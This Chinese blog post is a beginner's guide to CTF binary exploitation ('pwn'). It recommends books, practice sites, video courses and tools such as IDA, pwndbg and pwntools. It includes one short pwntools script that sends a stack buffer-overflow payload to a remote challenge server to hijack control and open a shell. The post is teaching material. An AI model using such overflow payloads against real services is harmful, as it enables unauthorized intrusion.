pwn入门指南

前言

写这篇是因为学校社团招新需要给学弟学妹每个方向的大致印象,发展方向,当然我也希望这篇文章可以帮助到更多的人。接下来我会介绍一下入门pwn需要准备一些什么,学习一些什么,希望这些不成熟的意见可以帮助到刚开始入门pwn的你。由于篇幅有限,这里不会详细介绍各个知识点,更多的是一些链接,不涉及具体内容,只是帮你找到你应该学什么,推荐一些学习资源。

书籍推荐

这里推荐一些适合刚刚准备入门pwn方向的书籍,所以这里并没有列出一些pwn方向很重要,但不是新手需要的书籍。

《程序员的自我修养:链接装载与库》

程序员的自我修养

这本书是对pwn入门来说非常非常有用的一本书,可以说是一本必读的书,能让你更清楚的了解很多pwn知识点背后的逻辑。可以说是必读的书了。

《CTF竞赛权威指南(Pwn篇)》

ctf权威指南

书中涵盖了pwn各个方向的知识点,虽说很多最新的知识点该书不能提供,但是作为入门数据,这本书的知识点起码够你学大半年了。比市面上其他ctf入门书籍更加适合pwn手,强烈推荐。

《深入理解计算机系统(又名CSAPP)》

csapp

这是一本很厚重的书,虽说没有像上面两本书那么直接对pwn做题有直接帮助,但是这本书一定是pwn方向,不不不,它可以说是所有计算机方向必读书籍了,对你长期成长来说肯定有帮助,希望在闲暇时间去读一读。

网站以及入门视频推荐

刷题网站和ctfwiki这里就不做过多的赘述了,这里提供一些适合新人pwn方向独有的平台,和自己觉得不错的入门视频

pwnable.kr

pwnable.kr

网址:https://pwnable.kr/

这个平台的漏洞虽然和我们国内比赛主流方向的关系不是很大,但是里面有很多可以学习的知识点,还是很推荐大家做一做的,很多题目比较适合新手。

XMCVE 2020 CTF Pwn入门课程

网址:https://www.bilibili.com/video/BV1854y1y7Ro?share_source=copy_web

这部视频可以说是全b站最为详细的pwn入门视频了,细节抓的很清楚,缺点就是过于详实,可能会让你缺少一份自己的思考,视频时间也过长,需要耐心观看

2020暑期Lilac-pwn入门培训

网址:https://www.bilibili.com/video/BV1Dt4y1D7mK?share_source=copy_web

这部视频其实是我入门时观看的视频,个人感觉讲解的很充分了,适合想要快速入门开始刷题的师傅们,其实从博客和题目中学习也是一种比较有效的方法

pwn入门需要的基础知识

掌握c语言

想要学习pwn首先就要学习c语言,这是最最最基础的工作,如果没有学习过c语言,可能连题目都看不懂。

推荐翁恺老师的c语言课程:https://www.icourse163.org/course/ZJU-9001?from=searchPage

学习汇编

学习pwn还是要懂汇编语言的,起码先学习x86/x64下的汇编语言,学好汇编会让你开始的路走的很轻松,可以先学习8060的汇编,推荐王爽老师的《汇编语言》

使用ida

ida是一个非常好用的静态分析工具,可以说是一个神器,她会帮助你非常轻松的分析出题目的逻辑,基本是必须会使用的工具。你会发现ida的图标是一个女性,其实这是第一位程序员,她的名字就叫ida。

image-20210719111139804

推荐一篇博客:https://xz.aliyun.com/t/4205,这里有详细的使用教程

使用pwndbg

这其实是一个gdb的调试插件,这个工具可以帮助你更好的进行动态分析。关于工具的安装可以看我的另一篇博客,虽然是针对arm架构的树莓派的,但对于x64的ubuntu也适用。

安装:https://kr0emer.com/2021/07/16/%E5%88%A9%E7%94%A8%E6%A0%91%E8%8E%93%E6%B4%BE%E5%AE%9E%E7%8E%B0arm%E6%A1%86%E6%9E%B6%E4%B8%8B%E7%9A%84heap%E8%B0%83%E8%AF%95/#pwn%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA

使用pwntools

pwnatools的安装上面的链接中也有,这是一个编写python交互的库,是pwn入门必备的工具。

编写脚本类似这样:

from pwn import*

io=remote('220.249.52.133',44908)
sh_addr=0x0804868B
payload="a"*24+p32(sh_addr)
payload=payload.ljust(262,'a')
io.recvuntil("Your choice:")
io.sendline('1')
io.sendafter("your username:",'kreomer')

io.sendafter("your passwd:",payload)

io.interactive()

官方教程:https://docs.pwntools.com/en/latest/

总结

pwn入门的基础基本就是以上这些,想要了解具体的攻击方法可以通过以上书籍、视频或者借助ctfwiki来学习(https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/stack-intro/),由于只是一个简单的指南,这里不涉及具体漏洞的攻击方法。可以通过以上提供的链接进行学习。

Author: Kr0emer
Link: http://kr0emer.com/2021/07/19/pwn入门指南/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.